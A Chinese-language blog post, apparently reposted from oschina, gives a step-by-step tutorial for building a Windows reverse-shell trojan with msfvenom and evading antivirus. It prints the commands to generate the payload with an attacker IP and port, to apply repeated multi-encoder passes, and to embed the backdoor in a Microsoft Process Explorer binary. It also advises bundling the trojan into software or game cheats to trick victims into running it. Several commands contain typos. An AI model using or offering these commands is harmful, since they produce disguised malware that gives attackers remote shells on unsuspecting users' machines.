大多数杀毒软件使用特征码来识别恶意代码。特征码在杀毒引擎中,对磁盘和进程进行扫描匹配。
为了避开杀毒软件,可以针对特征码创建一个独一无二的攻击载荷,它不与杀毒软件的任何特征码匹配。
当直接渗透时,metasploit的攻击载荷可以只在内存中运行,不将任何数据写入到硬盘上,我们发起攻击并上传攻击载荷后,大多数杀毒软件都无法检测出来。
1.使用MSF攻击载荷生成器创建可独立运行的木马 两条命令搞定
msfvenom -p windows/shell_reverse_tcp --payload-options
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.140(自己的IP)LPORT=31337(自己的端口)-f -exe -o payload1.exe
一个windows PE文件(便携可执行文件) 木马
2.躲避杀毒软件的检测 最佳方法之一,使用MSF编码器
以百度杀毒为例子。在目标上实际部署攻击载荷前,需要弄清目标的反病毒方案,确保木马顺利运行
使用MSF编码器,对木马文件进行重新编码。它能改变可执行文件中的代码形状。和电子邮件附件base64编码类似。
当这个文件运行后,MSF编码器会将原始程序解码到内存中并执行。
msfvenom -l encoders
选择不同环境(比如x86,linux,PPC等)的编码格式,不同格式适用于不同操作系统平台。比如64位win 7用x64,32位win7用x86。
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.140 LPORT=31337 -e x86/shikata_ga nai【注意这里x86集中的编码器参数】-f exe -o payload2.exe
把payload2.exe拿百度杀毒检测一下,可能还没有逃过杀毒软件的检测。 这需要不断的编码,或者多种编码逐步去试探。
我们不断对文件进行编码,杀毒软件也再经常性地更新病毒库,从而能检测出编码后的文件。
上面,我们在参数中使用shikata_ga_nai编码技术,它有时能逃过,有时逃不过。
这里,我们进一步对木马进行多重编码,命令如下
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.140 LPORT=31337 -e x86/shikata_ga nai -i 10 -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f raw | msfvenom -e x86/shikata_ga nai -a x86 --platform windows -i 10 -f raw | msfvenom -e x86/countdown -a -x86 --platform windows -i 10 -f exe -o payload3.exe
这里我们对攻击载荷一共执行了35次编码,可能仍然无法成功逃避杀毒软件的检测。
自定义可执行文件模块
通常情况下,运行msfvenom命令时,攻击载荷被嵌入到默认的可执行文件模板中,默认模板文件在data/templates/template.exe。它永远是杀毒软件厂商在更新杀毒软件时重点关注的对象。我们不要用这个默认模板了。
使用微软的程序作为自定义的可执行程序模板。
wget http://download.sysinternals.com/files/ProcessExplorer.zip
unzip ../ProcessExplorer.zip
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.140 LPORT=8080 -e x86/shikata_ga_nai -x work/procexp.exe -i 5 -f exe -o /ver/www/pe_backdoor.exe
下载process explorer软件,解压,使用-x参数指定process explorer二进制文件用作我们的自定义模板。
这个时候,有非常大的几率,杀毒软件检测不到。
当被攻击的用户运行类似的我们刚刚生成的这种后门的可执行文件时,什么都没发生,这会引起用户怀疑。通常绑定到其他片子,软件,外挂等吸引用户的东西里面。怎么绑定很容易,也是一条命令搞定,这里就到底为止,不继续写了。
来源:oschina
链接:https://my.oschina.net/u/4346195/blog/3499365